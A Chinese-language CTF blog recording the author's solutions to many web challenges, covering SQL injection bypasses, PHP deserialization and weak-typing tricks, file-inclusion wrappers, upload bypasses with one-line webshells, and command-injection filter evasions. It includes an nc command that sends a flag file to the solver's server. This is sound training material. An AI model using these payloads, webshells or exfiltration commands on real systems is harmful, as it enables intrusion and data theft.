githubEdit

CTF刷题WriteUp

WEB

"百度杯"CTF比赛 十月场——EXEC

进入网站页面

image-20210501154827617

查看源码

发现了vim,可能是vim泄露,于是在url地址输入了http://21b854b211034489a4ee1cb0d37b0212560fbf24f2e6468d.changame.ichunqiu.com/.index.php.swp

image-20210501155039314

或者通过dirsearch工具扫描网站目录也可以发现 /.index.php.swp,也可以想到vim泄露

image-20210501155453793

下载文件

image-20210501155637128

下一步就是通过 vim -r index.php.swp恢复index.php,然后打开

这里有一个check函数需要绕过,很明显check函数就是把选手输入的数字一个一个的判断,查看这些数字的ASCII码是否在1-9的ASCII码之间,如果符合则验证失败。如果check函数想最后返回返回true,则$number需要等于'11259375',这里可以使用十六进制来绕过即可。

代码里面的 setcookie('auth','tcp tunnel is forbidden!');告诉我们TCP被禁止不能用curl,而且cmd命令执行之后也没有回显,但是前面的注释告诉了我们flag文件,我们可以直接用nc命令把flag文件下过来,我们需要一台有公网ip的服务器。

在服务器上运行

然后在题目那里用post方法 cmd=nc -u 你的ip地址 39999 < flag233.php

注:这里我踩了个小坑,cmd=nc我输入成了 cmd = nc,等于号两边不能有空格。

image-20210501160323527

flag便传到了服务器上

image-20210501160629527

[强网杯 2019]随便注 1

1.进入网址

image-20210501180925552

2.输入1‘符号报语法错误,再输入 1’ #页面正常

image-20210501181059554

3.接下来尝试 order by查看有几列数据显示,然后配合 union select显示数据库的一些信息,但是select、delete等一些关键字被限制,到这里我知道可能被后台代码做了限制,于是去找了一些绕过限制的语句或者关键字特殊编码,但是都失败了。于是后面便没有了思路,自己还需要多努力啊。。。。多刷题!多扩展思路!

image-20210501181535674

4.在网上搜了下解决方案,可以使用堆叠注入,果然可以,把全部库名都给查出来了

image-20210501192326812

5.OK继续查表名

image-20210501192423272

6.然后就是分别查看"1919810931114514"表与"words"表这两个表的结构

image-20210501192950713
image-20210501193132021

使用了关键字 desc来查看表里的字段结构,注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

7.由此可以想到该输入框的SQL语句应该是 select id,data from words where id = ?

因为可以是堆叠查询,这时候我们可以使用改名的方法,把含有flag的"1919810931114514"表改名为words,再把flag字段改名为id,结合上面的1' or 1 #爆出表内所有的内容就可以查到flag了。

img

8. 再用一下一开始的操作id=1' or 1=1#,最终获得flag值

image-20210501194343817

突然发现自己好菜啊,果然光听不练假把式。在实践中学习,在学习中实践!以下是第二天的题,记录下自己踩得坑,得到了什么经验,学到了什么新东西。但是发现自己踩得全是坑。。。。。

“百度杯”CTF比赛 2017 二月场——爆破-1

进入网站

image-20210502140954426

呦吼,阅读php代码,有点javaweb语言基础的我还是勉强能看懂的,就是有些特殊的函数就不知道它的具体功能了,百度。。。。其中不认识的php函数我都整理到了PHP代码审计的笔记中了。

网上的解题思路大部分都是看见了两个符号就想到了GLOBALS。这是自己的理解。

image-20210502142121838

解题成功,通过这道题学到了GLOBALS超全局变量。

“百度杯”CTF比赛 2017 二月场——爆破-2

image-20210502143146826

该题就是通过url的参数值来获得flag.php中的flag值。怎么获得呢?如果直接输入flag.php会被当成字符串执行,没有任何意义,我们读取需要flag.php文件里面的内容。所以可以使用file()、file_get_contents()函数,提前把flag.php读入一个数组或者字符串,然后在通过var_dump()函数把变量输出,但是输出的内容就是flag.php文件里面的内容。

还有一种方法就是拼接字符串。1);show_source('flag.php');var_dump( 把var_dump()拆分成三个函数即可。

image-20210502144424875

“百度杯”CTF比赛 九月场——SQL

image-20210502144617838

需要对id参数进行SQL注入,测试得到是整数型注入,但是order by 、union select等一些关键字都被限制了,学到了一个新的绕过姿势,使用<>绕过。便可一路过关斩将,利用information_schema库的一些信息来获得了flag值。

首先获得表

image-20210502150010162

获得表中的字段

image-20210502150334897

最终可以获得表中的值

image-20210502150439645

“百度杯”CTF比赛 十月场——Login

image-20210502151044842

进去网站我看见是一个登录页面,然后我就迫不接待的打开了brup打算暴力破解密码,这里非常成功的踩了第一个坑。没有看注释,注释里给了账号和密码,说明出题人考察的方面根本就不是暴力破解密码。

image-20210502151316297

接下来登录进去网站,发现啥也没有。

image-20210502151421923

好了,又没思路了,我可太菜了。。。。。借鉴一下别人的思路,用burp抓包试试。

image-20210502152040368

发现了response里面有个可以的参数show=0,我们可以试试从客户端发个show=1的包看看服务器的响应是怎么样的。成功获得一段PHP代码,又要开始代码审计了。马马虎虎能看懂,还需要再学学PHP啊。

image-20210502152338715

来吧兄弟们,代码审计走起来。class db这一段就是对数据库的一个操作,对本体来说不重要, 重点看 if(isset($requset['token']))这个里面的代码!以下是我对本段代码的理解。

获取token的值,token值经过了base64解码-->解压缩-->对单一的已序列化的变量进行操作将其转换回PHP 的值,

最终获得login变量,但是login变量里的user值必须为'ichunqiu'才会获得flag。

现在就是构造一个token,给它的user值赋予'ichunqiu',然后序列化-->压缩-->base64编码

image-20210502154345812
image-20210502154334063

最后加cookie里面加上token参数给服务器发送。服务器便会成功返回一个flag值。

image-20210502154529559

成功返回flag值,奥利给,又学了新东西。

[HCTF 2018]WarmUp 1

这是一个代码审计题,首先进入网站,查看源码

image-20210502180730817

发现了提示信息,然后咱们在URL地址中输入 source.php,查看跳转页面,页面显示如下代码,好吧,开始看代码吧。。。。。。

发现白名单中还有个 hint.php文件,进去看看,告诉我们flag在哪里。

image-20210502181936929

payload:

我们可以想象他传入checkFile函数要经历 第一次白名单验证, 一次?过滤后,他就是hint.php 再进行一次白名单验证 返回为真, 则达成条件进行包含得到flag

image-20210502182300265

“百度杯”CTF比赛 2017 二月场——爆破3

进入网站

image-20210502183455576

映入眼帘的又是PHP代码,看来PHP是世界上最好的语言这句话没有错啊,哈哈哈哈,靶场全都是PHP代码,慢慢积累慢慢学吧。

说正题,先阅读一下代码,大体意思是Session中的num初始值为0,time为当前时间,whoami的初始值为ea。120秒之后销毁会话。用str_rands随机生成2个字母,whoami需要等于我们传递的value值的前两位,并且value的md5值的第5为开始,长度为4的字符串==0,这样num++,whoami=str_rands,循环10次后,输出flag。

由19行可看出为弱判断类型,可以用数组进行绕过,md5函数不能对数组进行处理,所以传数组。md5()==0

根据获取到的信息构造payload ?value[]=ea

代码中提到需要提交大于10次,10次过后得到flag

image-20210502190337932

本题学到了数组在传值的应用,以及md5对数组加密无效。加油!!!

“百度杯”CTF比赛 九月场——Upload

打开网页上传shell文件,结果发现前面的<?php被限制去掉了

image-20210502194728556

百度了一下原来还有PHP长标签,又是收获啊

再次上传shell脚本,结果页面无显示,说明上传成功了。接下来就是打开蚁剑,建立连接成功。

image-20210502195327414

成功获得flag

image-20210502195626813

“百度杯”CTF比赛 2017 二月场——include

进入页面

image-20210502195853956

先搜索一下是否允许文件包含,给你phpinfo的作用不就是这样,发现允许文件包含,所以可以用php://input伪协议包含文件。

image-20210502200012326

接下来看代码要求

path可以直接传参数进行文件包含。。。抓包,用PHP伪协议执行php代码,没想到成功了。

image-20210502201036831

发现了个可以的文件名,直接执行linux系统命令

成功获得flag

image-20210502201315455

2017第二届广东省强网杯线上赛——broken

进入网址看见全都是一些中括号、感叹号什么的,有点蒙,后来才知道这是jsfuck加密。。。。[详细解释](JSFuck 有趣的js加密 (360doc.com)arrow-up-right)

害得我一顿扫描目录还有抓包。

image-20210503165413769
image-20210503165424044

这里需要了解一下jsfuck的解密方法

jsfuck、jjencode、aaencode可以被很轻易的还原: 第一步:首先打开谷歌浏览器,进入浏览器控制台。 第二步:去掉最后一行末尾的(),复制加密后的代码; 第三步:在console控制台粘贴你第二步复制的代码; 第四步:回车,达到便能得到解密后的代码。

但是呢,这道题还有一个坑就是符号的匹配问题,他在最前面多了一个 [没有进行匹配,删掉即可显示js 代码,成功获得flag

image-20210503165814265

通过这道题,知道了jsfuck编码。

2017第二届广东省强网杯线上赛——who are you?

进入网站,对不起,你没有权限。果断去用burp抓包,查看是否有可疑字段

image-20210503170040013

发现了cookie中有个role值,看着像base64编码,去解码

image-20210503170443094

解码发现,这不就是我今天刚学的php的无类序列化问题嘛,这里面的用户是thrfg,我用admin编码之后试试能不能有权限,结果发现登录不进去。后来看了别人的writeup才知道,原来thrfg也是编码后的,用的是rot-13编码,编码后是guest.

image-20210503170557070

然后把admin用rot-13编码,再用base64把整体编码传入cookie中登录成功。

image-20210503171603238
image-20210503171636111

登录成功显示让上传东西,查看源码给了传输的条件。

image-20210503171522878
image-20210503172208669

报错了,后台应该有限制,尝试去绕过。因为网页做了正则匹配过滤. 而用data[]=的方法,把data从字符串变成数组,可以绕过正则匹配的过滤。

image-20210503172356709

绕过限制以后,显示传输成功,并且给了传输成功的地址,但是都是显示404找不到资源

image-20210503174345724
image-20210503174402068
image-20210503174514339

我猜测应该是服务器的问题,我在网上找了很多解题方法,都没有遇到这种情况。我也用dirsearch扫了一下目录。并没有发现uploads文件夹,可能更加应征了我的猜测,过段时间再来看看这道题吧。

这道题就是用了两次的编码(base64、rot-13)把admin身份传入cookie中通过了身份验证,然后就是文件上传的正则表达式限制字符串的格式,通过数组去绕过正则表达式限制

“百度杯”CTF比赛 九月场——YeserCMS

进入网站,是一个庞大的电商系统,一时间不知如何下手。先去百度搜搜以前报过哪些漏洞吧。

image-20210503182613652

在网上顺利找到一个注入点,直接进行尝试

Payload:通过POST方式传参

最终成功破解管理员账号密码,爆出的密码并不全,通过把1改成11就会把后面的密码显示,然后通过MD5算法解密即可

image-20210503183242453

成功用账号密码登录进管理员页面

image-20210503183411367

但是下一步该怎么办,我们需要获得的是在网站根目录下的flag.php文件,可以在管理员后台找有没有访问服务器文件的功能,找到了模板功能中的修改模板,这个功能点不就是修改服务器中的web文件嘛,所以在点击编辑的时候抓包,修改地址就获得了flag.php文件。

image-20210503183807527
image-20210503182451205

这个题考查的是对公共cms系统漏洞的复现,以及利用web管理员的权限提权获得服务器中文件的信息,利用的就是功能点路径的限制不严格。

第三天开始啦!

第三届“百越杯”福建省高校网络空间安全大赛——Do you know upload?

进入网站

image-20210504144854894

查看源代码,发现了文件包含注释,所以可以直接上传任何后缀的文件都会被解析成PHP文件,所以话不多说,上传个php文件试试,显示上传文件类型不正确,上传jpg格式可以

image-20210504144839893

抓个包,改下content-type:image/jpeg,成功绕过上传成功

image-20210504152910664

用蚁剑连接成功,发现里面有个config.php文件,打开发现了数据库配置的账号密码,flag可能在数据库中,然后用蚁剑连接数据库,成功获得flag

image-20210504152923606
image-20210504152930806

这道题其实难度不大,上传绕过也很基础,不要想的太复杂。

2016全国大学生信息安全竞赛——破译(未解决)

这道题没有网页,只有下面的一段密文,让选手破译,第一次遇到这种题目

这是什么啊,蒙了。看着不像是熟悉的base64、md5加密啊,百度一下

“百度杯”CTF比赛 九月场——Test

这道题和昨天做的YeserCMS套路是一样的,这个稍微简单点。都是给了一个开源的cms站,根据他们以往被爆出的漏洞进行渗透。

image-20210504155938028

直接百度历史漏洞

爆出payload:

咱们先用phpinfo()试试漏洞,果然成功了

image-20210504160150073

果断修改为一句话木马 eval($_POST[pass]),用蚁剑连接即可成功。

image-20210504160548076

进去服务器之后并没有发现flag文件,心想是不是跟上一个题一样的套路,flag藏在数据库中,然后就找数据库连接文件,连接数据库。

image-20210504160730768

在数据库中成功找到flag文件

image-20210504160840893

做题做多了,出题人的套路也慢慢的熟悉了一些。继续努力!

“百度杯”CTF比赛 九月场——123

进入网站

image-20210504161018898

登录?老套路,第一步先看源码

image-20210504161105091

注释说用户信息在user.php里,打开看看?没有回显任何信息,先用dirsearch扫一下目录吧

image-20210504161728291
image-20210504163001048

扫出的结果并没有什么异常的文件,后来看了wp,发现竟然有个user.php.bak文件,扫描文件没扫出来哦,下载下来是个用户名,果断爆破密码

image-20210504162933003

从1990年开始,扫出了一个结果

image-20210504163216924

于是成功登录进去啥也没有。。。。。肯定又是在注释里,果然。

image-20210504163302089

form表单存在上传漏洞?接下来怎么办呢?去掉注释

image-20210504163955143

接下来就是上传文件的知识了

image-20210504164231534

上传各种绕过的方式都显示文件名不合法,它的限制好像是文件名和内容都不能含有PHP字母,否则就会显示文件内容不合法。于是随便写了几个1,显示出来了一个超链接

image-20210504164955941
image-20210504164728314

进入/view.php显示一个file?

image-20210504165428568

用他包含flag试试

image-20210504165754866

字符串过滤flag,使用字符串叠加,成功显示flag值

image-20210504165848715

感觉这道题考的知识点好多啊,有文件备份泄露、密码暴力破解、文件上传、字符串过滤等。收获很大。

“百度杯”CTF比赛 九月场——SQLi

进入页面发现什么也没有,查看注释

image-20210504173901172

果断访问这个地址,结果打算SQL注入,输入很多情况并没有回显任何信息,只能看看别人的思路了。

访问index.php抓包显示,发现了refresh响应字段,重定向

image-20210504172608161

发现refresh中重定向的地址l字母变成了1,在url中显示,然后就用原始的地址抓包发现了l0gin.php?id=1,这个才是真的注入点吧。哇,这个题真的考验眼力啊。。。

image-20210504173837416

成功回显内容,开始注入吧

image-20210504174247543

输入参数 1' and ascii(substr((select database()),1,1))>64 %23,发现 之后的内容没有显示,语句没有执行成功被显示了出来,说明代码限制了 的使用,可以使用其他的SQL语句进行绕过

image-20210504180137413

order by 判断出来是两列显示,union select 1,2中的 被限制了, 可以使用 union select * from ((select 1) a join (select 2) b )绕过

image-20210504180931298

接下来就可以使用数据库的一些特殊函数来获得flag值,先获取数据库和版本信息

image-20210504181145862

使用information_schema数据库获取数据库表信息,users表

image-20210504181411306

获取数据表users内部的字段信息

image-20210504181549896

最终获得users表中的flag信息

image-20210504181714382

好坑啊这个题,给了一个假的注入点,还要考察眼力。。。。。。不过也学习到了新的绕过逗号限制的方式。

“百度杯”CTF比赛 九月场——Code(*)

进入网站

image-20210504212939544
image-20210504214155014
image-20210504214208022

正则表达式 ^在[]外表示以什么开头 ^在[]里表示取反 .表示除换行符(\n、\r)之外的任何单个字符

image-20210504215648121

现在我们需要获取key值,可以利用eles代码段里执行得到结果获得key。访问fl3g_ichuqiu.php文件,获得 encrypt('guest',$key)得到的setcookie

image-20210511163942294

编写脚本文件,返回system的编码值

得到许多的base64编码值,用burp爆破出正确的cookie:user=?值,得到flag值

“百度杯”CTF比赛 2017 二月场——Zone

image-20210505130934079

进入页面是一个登录页面,抓包登录试试,看到cookie里有一个login=0,改成1试试,结果和正常一样。

image-20210511203125993

扫一下目录结构,发现了许多文件,其中就包括flag.php

image-20210511203226956

进入flag.php页面只显示了flag_is_here,估计flag值是在源码中,现在就是想办法获取flag.php文件的源码。

试试从index.php页面抓包修改login=1,成功进入管理员页面

image-20210511203510988

点击Manage,发现url地址存在参数,怀疑是文件包含

image-20210511203627136

修改index为flag,果然可以看到flag.php的文件显示,但是还是看不到源码。去访问/etc/passwd文件。并没有任何显示,是不是过滤了 ../符号,用 ..././绕过试试,成功回显信息。

image-20210511204222007

注意:这里我踩了一个坑,name参数后面的php后缀名要删除掉,不然不会回显任何信息

接下来自己看的别人的WP,没有思路了……

我们在最后一行看到了nginx。我们去看一下nginx的配置文件。nginx的配置文件位置可能不太一样,不过在/etc/nginx/nginx.conf的可能性比较大。我们尝试访问一下,成功了:

image-20210511204521857
image-20210511204608599

注意最后一行包含的sites-enabled/default.进入之后发现了目录遍历的漏洞:

image-20210511204822110

这里边的 autoindex on ,即为允许目录浏览。因此我们可以进行目录遍历了。 怎么遍历呢?我们直接访问/online-movies. ./,因为alias /movie/,因为会变成 /movie/. ./,我们访问试试:

image-20210511205218905

成功显示了flag值。通过本题学习了中间件的目录访问

“百度杯”2017年春秋欢乐赛——象棋

image-20210505134028040

查看源代码,发现了了一个特别的js文件

image-20210511205747009

猜想是不是正确猜出js文件的名字,然后访问此文件,获得下一步的线索。文件名是一个正则表达式,写个py脚本,然后用python脚本写个请求爆破一下吧

静静等待结果吧

第一届“百度杯”信息安全攻防总决赛 线上选拔赛——Upload

image-20210514163331855

查看注释发现了用post方法ichunqiu=你的发现?。。。。抓包看看有什么发现嘛

image-20210514163514415

果然在response包中有发现,base64解码看看是什么值,然后用post方法传递一下

image-20210514163627700
image-20210514163652540
image-20210514163725829

用post方法传递参数出来个fast!什么意思???

看看别人的WP吧。看到返回的是fast!!!,看来我的手速是满足不了ichunqiu了,那就上py跑

python脚本:

得到了一个路径名:

image-20210514165337201

进入了一个新页面

image-20210514165419360

点击按钮,进入了一个登陆页面

image-20210514165538338

爆破Captcha的python脚本

用SQL注入登录报错,抓包也没有发现特别的东西,那现在用户名和密码在那里获得呢???

image-20210514165913008

看了别人的wp,发现上面那个目录存在.svn泄露,于是用dirsearch工具跑了一下,扫描出来了.svn/wc.db文件,打开看见了用户名。。。这题真的好细节。。。。。

image-20210514171046029

算出username:8638d5263ab0d3face193725c23ce095,密码随便填一个就行,再输上验证码

image-20210514171343917

又弹出了一个地址文件

image-20210514171438298

上传文件漏洞,开始上传

试验如下上传参数,最终使用image/jpeg以及1.pht得到flag回显,应该是写死的逻辑。

image-20210514171906782

“百度杯”CTF比赛 十月场——GetFlag

image-20210514154717269

看注释抓数据包都没有发现,点击login是一个登录框,注释和数据包中都没有提示关于账号密码的有关信息,试试万能注入吧,并且还要爆破一下Captcha的值,写个py脚本吧

image-20210514154818399

python脚本

得到Captcha,并且成功登录

image-20210514160018761

登录成功页面显示内容如下所示

image-20210514160113043

a.php里的内容如下:

查看注释,发现了下载链接!是不是存在任意目录下载漏洞?试试吧,a.php提示了flag在web根目录,即 /var/html/www/Challenges

image-20210514160316130
image-20210514160719762

flag文件存在,但是返回的内容不对。

构造payload:

得到如下代码,开始审计

通过代码审计得知给flag.php传入参数?flag=flag;即可获得helloctf.php的内容。 因为执行了一个eval()函数,要在代码末尾添加分号来结束一行代码,所以传入参数要带一个分号,进过eval()函数后分号被去掉。

image-20210514162837104

或者——》百度了一样PHP字符串的表示方法,之后发现字符串还有一种表示方法叫做Heredoc,不包含引号,于是构造flag参数如图,因为包含换行,所以需要url编码

“百度杯”CTF比赛 十月场——Not Found

image-20210506202653751

看源码没有任何发现,扫描目录没有任何发现,现在就只剩下抓包了。。。。

response数据包发现了异常,好像是在提示我们请求方法,下面把请求方法总结一下

image-20210514203216275

1 GET 发送请求来获得服务器上的资源,请求体中不会包含请求数据,请求数据放在协议头中。另外get支持快取、缓存、可保留书签等。幂等

2 POST 和get一样很常见,向服务器提交资源让服务器处理,比如提交表单、上传文件等,可能导致建立新的资源或者对原有资源的修改。提交的资源放在请求体中。不支持快取。非幂等

3 HEAD 本质和get一样,但是响应中没有呈现数据,而是http的头信息,主要用来检查资源或超链接的有效性或是否可以可达、检查网页是否被串改或更新,获取头信息等,特别适用在有限的速度和带宽下。

4 PUT 和post类似,html表单不支持,发送资源与服务器,并存储在服务器指定位置,要求客户端事先知

道该位置;比如post是在一个集合上(/province),而put是具体某一个资源上(/province/123)。所以put是安全的,无论请求多少次,都是在123上更改,而post可能请求几次创建了几次资源。幂等

5 DELETE 请求服务器删除某资源。和put都具有破坏性,可能被防火墙拦截。如果是https协议,则无需担心。幂等

6 CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。就是把服务器作为跳板,去访问其他网页然后把数据返回回来,连接成功后,就可以正常的get、post了。

7 OPTIONS 获取http服务器支持的http请求方法,允许客户端查看服务器的性能,比如ajax跨域时的预检等。

8 TRACE 回显服务器收到的请求,主要用于测试或诊断。一般禁用,防止被恶意攻击

在请求方法是options的时候发现了response数据包异常,提示了一个地址

image-20210514203422492

用options方法请求?f=1.php,返回了一个302重定向包,返回数据包还有信息

image-20210514203658866

好的,又不知到下一步该怎么办了,看了别人的wp说目录里面有.htaceess文件,我看了自己的工具扫描的结果并没有发现啊,果然这工具真的不准确。。。。打开.htaccess看看里面有啥

image-20210514210704307

提示了一个文件,访问试试啥情况。

image-20210514210900929

ip不正确,XFF不对,修改一下X-Forwarded-For,好像修改XFF不行,修改 clien-ip就可以了,成功获得flag

image-20210514211105269

刷了这么多ctf的web题,发现其实并不难,就是突然卡在某一步不知所措。。。。。自己还得多加练习啊

“百度杯”CTF比赛 十月场——fuzzing

image-20210506204654898

源码没有发现,抓包发现了异常

image-20210514211438777

ip,Large internal network提示ip是大网段,用10.0.0.1试试

image-20210514211617914

果然有蹊跷啊,重定向./m4nage.php

image-20210514211752635

./m4nage.php文件输出一句话,show me your key ? 难道是传递一个key值?但是key值没有提示啊,用key=1试试吧

用GET方法没有反应,在请求包和cookie中加上key也没有反应,最后用post方法传递key值成功显示错误

image-20210514212127514

看看错误信息

key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9]

key值是ichunqiuxxx,现在就是写个py脚本爆破一下谁的md5值与给定的值相等

python爆破脚本:

爆破出来结果是:ichunqiu105

payload:

image-20210514212512918

成功到达下一步,又给了一个php文件,访问请求一下

返回数据包

image-20210514212607499

提示源代码在x0.txt文件中,又给了一段加密之后的密文。先看看x0.txt里面的源码吧

应该是运行这个PHP代码,传入string参数和 key密码,string是加密之后的密文,key就是我们之前破解的ichunqiu105。运行试试吧

image-20210514213310938

成功获得flag值,欧耶

“百度杯”CTF比赛 十月场——Hash(*)

image-20210507084430919

点击hahaha超链接

image-20210514213908130

看到这段话,我下意识想到的是数据包里面肯定有信息,我们要修改数据包中的信息,抓包看看吧

image-20210514214118268

发现了123,修改成别的数据试试

image-20210514214154958

提示hash值不对,看来key和hash值是绑定在一起的。看看他们两个有什么规律,怎么对应的

原来注释中有一段代码

写个py脚本把$sign爆破出来吧

python脚本:

没有解出来,看来是前面的八位不只是只有数字,用网上的在线解密系统破解出来了

sign=kkkkkk01

好了,可以构造这一步的payload:

成功显示下一步:去访问Gu3ss_m3_h2h2.php

image-20210514215259103

获得了一段PHP代码,开始代码审计吧

在上面的代码中看到了反序列化,看来这一关是写出序列化之后的字符串然后传递参数

序列化之后还要base64。

获得序列化代码

原始序列化字符串:O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

说下这个正则 /[oc]:\d+:/i [oc] 两个字母构成的原子表加:再加只是一个数字,再加: 然后不区分大小写

这个O 是序列化里面的类 C是自定义序列化方式

如果这个正则的绕过是O:+4 这样就可以绕过

改成:O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

由于__wakeup()方法会改变file变量值,所以只需要把Demo后面的的1改成大于1的数就行,代表着参数数量,就会绕过 __wakeup()方法

改成:O:+4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

!!!一定要注意!!!

对于private变量,我们需要在类名和字段名前面都会加上\0或%00的前缀 比如

本题我用在线php代码运行序列化有特殊符号,估计就是\0的乱码,但是就是复制不出来:

image-20210515131912146

注意%00Demo%00file,如果我们直接复制粘贴然后更改,就会出错。最好用PHP代码来改:

这样打印出的就是正确的base64编码了。这里Get到了一个新姿势。 所以payload:

然后就可以获得f15g_1s_here.php的源码::

主要就是eval的命令执行。 我们这样构造:

利用的原理就是像这样实现命令执行:

这样成功执行了ls命令,发现了flag所在的文件,然后cat就可以获得flag:

当然,也可以用蚁剑连:

[极客大挑战 2019]Havefun 1

image-20210507103243907
image-20210507103345039

[SUCTF 2019]EasySQL 1

image-20210507105339870

说明这是个数字型注入,而且还屏蔽了order by、union select关键字,用堆叠注入发现了异常,爆出了数据库信息

image-20210515135427302

爆出表信息,但是使用 desc Flag查询表的结构信息被拦截了

image-20210515135620792
image-20210515135720807

这该怎么办???没思路了,看看别人的wp,说是比赛时题目泄露了源码

然后有两种解 解题思路1:

payload:*,1

查询语句:select *,1||flag from Flag 解题思路2:

payload: 1;set sql_mode=PIPES_AS_CONCAT;select 1

解析:

image-20210515140701481

[ACTF2020 新生赛]Include 1

image-20210507112302338

在url地址上发现了异常,猜想一下是文件包含漏洞吗?

使用PHP伪协议读取flag.php源码

image-20210515141841619

成功获得源码,base64解码获得flag

image-20210515142041791

[极客大挑战 2019]Secret File 1

image-20210507112433680

源码中发现了超链接,点进去看看有什么image-20210515142435067

还是有一个超链接SECRET,点进去并没有发现什么异常

image-20210515142519836

页面提示,查阅结束,查看源码也没有什么异常。抓包看看吧

image-20210515142717264

抓包发现了异常,这是一个重定向的包,注释中给了一个正确的文件地址

访问看看,出现了PHP代码,开始审计吧,看来还是文件包含啊

payload:/secr3t.php?file=flag.php 获得不了flag值

image-20210515143424579

直接文件包含不显示flag,看来只能获得源码信息了

payload:

image-20210515143857310

base64解码即可

image-20210515143926391

[极客大挑战 2019]LoveSQL 1

简单,利用information_schema库

[ACTF2020 新生赛]Exec 1

超级简单,RCE

Payload:

image-20210507194417743

[GXYCTF2019]Ping Ping Ping

image-20210507194557084

很明显这一关考察的内容是RCE,看看他有什么过滤限制吧

image-20210515144219514

ls命令成功显示flag.php文件,估计限制了空格或者特定访问这个文件的命令

输入空格报错了

image-20210515144402920

空格过滤

  1. ${IFS}替换

  2. $IFS$1替换

  3. ${IFS替换

  4. %20替换

  5. <和<>重定向符替换

  6. %09替换

$IFS$数字代替

还过滤了flag字母

image-20210515144803348

可以使用变量拼接绕过

payload:

成功获得flag值

image-20210515145339369

还可以使用内联绕过。内联,就是将反引号内命令的输出作为输入执行。

[极客大挑战 2019]Knife

简单,略过

[护网杯 2018]easy_tornado

image-20210508093548461

线索

image-20210508093716495

flag位置

image-20210508093740677

思路:先用线索构造flag所在位置的md5值

fllllllllllllag:md5值 594cb6af684ad354b4a59ac496473990

cookie_secret+md5(filename):md5值

cookie_secret没找到,百度一下吧,唉,原来是模板注入,提示在/welcome.txt里面,render

36277246-f3aa-4cea-a784-115ecefa55a2+594cb6af684ad354b4a59ac496473990.后来发现原来filename=/ fllllllllllllag,得加上/ 严谨啊

md5(36277246-f3aa-4cea-a784-115ecefa55a2+3bf9f6cf685a6dd8defadabfb41a03a1)最终得出flag

[RoarCTF 2019]Easy Calc

源代码内容:

利用PHP的字符串解析特性

抓包看看,输入单引号报错,看来果然设置了waf

image-20210515183117379

直接请求calc.php,回显了代码

这是一段限制的代码,利用正则表达式

特殊字符好像就直接页面错误,,这应该是waf!!! 可是我们不知道waf如何写的,,该如何绕过呢?? 其实利用PHP的字符串解析特性就能够进行绕过waf!! 构造参数? num=phpinfo()(注意num前面有个空格)就能够绕过:

为什么要在num前加一个空格?

答:假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

发现过滤怎么办?

答:用char()转ascii再进行拼接

接下来就好办了,由于“/”被过滤了,,,所以我们可以使用chr(47)来进行表示,进行目录读取:

image-20210515184948909

发现了名字为 flagg的文件,直接执行php命令 file_get_contents()函数获取flagg文件里面的内容,

payload:

得到flag

image-20210515185650968

[极客大挑战 2019]PHP

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上%00的前缀。字符串长度也包括所加前缀的长度。其中 %00 字符也是计算长度的。

当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

进入网站很明显,提示备份信息

image-20210515190414833

扫描目录发现了 www.zip文件,下载下来发现了几个文件

image-20210515190500106

flag.php中无关键信息,忽略掉,出题人也不会这么简单让你得到flag值

index.php关键代码:

class.php:

index.php中传递 select参数,传递的是一个序列化后的字符串。

估计是传递Name类的序列化字符串,其中username==='admin'&&password==100。

Name类对像序列化payload

把标记的乱码换成%00

image-20210515192758387

payload:

成功得到flag

image-20210515192847754

这个题考的就是反序列化,包括用参数绕过__destruct()方法,还有private变量序列化后的字符串的类名和属性名前面要加上 %00

[极客大挑战 2019]Upload

试了一大通,最终用文件名后缀 .phtml和图片编码头 GIF89a?和修改 Content-Type: image/jpeg,用的是长标签的PHP代码成功上传,然后用蚁剑连接即可

image-20210515194547376

成功在根目录下找到flag文件

image-20210515194633306

[极客大挑战 2019]BabySQL

image-20210510115359835

限制了关键字 or、order、 by、union、select、from、where,我通过<>成功绕过限制,获得了列数为3列

image-20210515220934811

开始获取数据库的信息和是否可以使用information_schema数据库爆破信息

获得数据库和版本信息

image-20210515221122979

开始使用information_schema数据库爆破

image-20210515221407842

获得数据库信息,看见有一个数据库是ctf,看来flag值并不在咱们当前项目的数据库,这也是出题人的一个小坑吧,看来之后还要先爆破所有的数据库,不能立马爆破当前web项目所在的数据库啊

接下来开始爆破ctf数据库中的表,表中只有一个表Flag

image-20210515221713824

爆破Flag表,表中只有一个字段是flag

image-20210515221854944

最后直接查询ctf数据库中的Flag表就可以了,成功获得flag值。

image-20210515221955482

[ACTF2020 新生赛]Upload

image-20210510111833218

白名单限制&前端限制:

image-20210510111923779

绕过前端限制,并且上传 .phtml后缀的文件,修改 content-type即可上传成功

image-20210515220251584

用蚁剑连接成功在网站根目录下获得flag

image-20210515220419798

[ACTF2020 新生赛]BackupFile

image-20210510113407203

扫描目录发现了备份文件 /index.php.bak

image-20210516130020347

下载下来,审计源码

源码的意思是传一个key参数,这个参数必须是整数,然后和str字符串比较,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉,双等属于弱类型比较。所以只需要key=123就行了。

image-20210516130341225

[HCTF 2018]admin(*)

image-20210510150346033

https://blog.csdn.net/weixin_44677409/article/details/100733581

[极客大挑战 2019]BuyFlag

在pay.php的注释中发现了一下代码

并且页面中显示Flag need your 100000000 money

attention

If you want to buy the FLAG: You must be a student from CUIT!!! You must be answer the correct password!!!

你必须是cuit的学生,估计是抓包修改某个字段

cookie中有个user字段,把他的值改为1即可

image-20210516133351712
image-20210516133339333

现在还要用post方法传递密码,传递的规则上面代码已经给了要求,利用PHP代码的弱语言特性,password=404a即可绕过。

image-20210516133839109

看来还得在传递个money字段,payload:password=404a&money=100000000。还是报错了,输入的字符太长了

image-20210516133947843

这里可是使用科学技术法: 1e9或者用数组 password[]=1利用strcmp函数特性绕过的办法

成功得到flag值

image-20210516134627266

